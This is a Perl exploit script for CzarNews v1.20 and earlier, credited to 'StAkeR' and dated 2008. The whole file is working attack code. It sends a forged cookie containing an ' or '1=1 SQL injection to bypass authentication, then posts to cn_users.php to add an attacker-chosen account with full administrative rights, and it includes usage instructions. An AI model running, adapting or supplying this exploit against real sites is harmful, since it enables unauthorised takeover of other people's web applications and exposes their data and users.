#!/usr/bin/perl # ---------------------------------------------------------- # CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit # Perl Exploit - Add a new admin with your credentials! # Discovered On: 15/09/2008 # Discovered By: StAkeR - StAkeR[at]hotmail[dot]it # ---------------------------------------------------------- # Usage: perl http://localhost/cms StAkeR obscure # ---------------------------------------------------------- use strict; use LWP::UserAgent; my $email = 'some@example.net'; my ($hostname,$username,$password) = @ARGV; my $request = undef; my $http_s = new LWP::UserAgent or die $!; $hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner(); banner() unless $username and $password; $http_s->agent("Mozilla/4.5 [en] (Win95; U)"); $http_s->timeout(1); $http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1"); $request = $http_s->post($hostname."/cn_users.php", [ user => $username, pass => $password, email => $email, allcats => "all", admin => "off", news => "on", images => "on", users => "on", categories => "on", config => "on", words => "on", op => "add", id => '', go => "true", submit => "Add+User" ]); if($request->is_success) { if($request->content =~ /has been added/i) { print "[+] Added New Administrator: $username & $password\n"; } else { print "[!] Exploit Failed!\n"; print "[!] Site Not Vulnerable\n"; } } sub banner { print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n"; print "[+] Usage: perl exploit.pl [host] [username] [password]\n"; return exit; }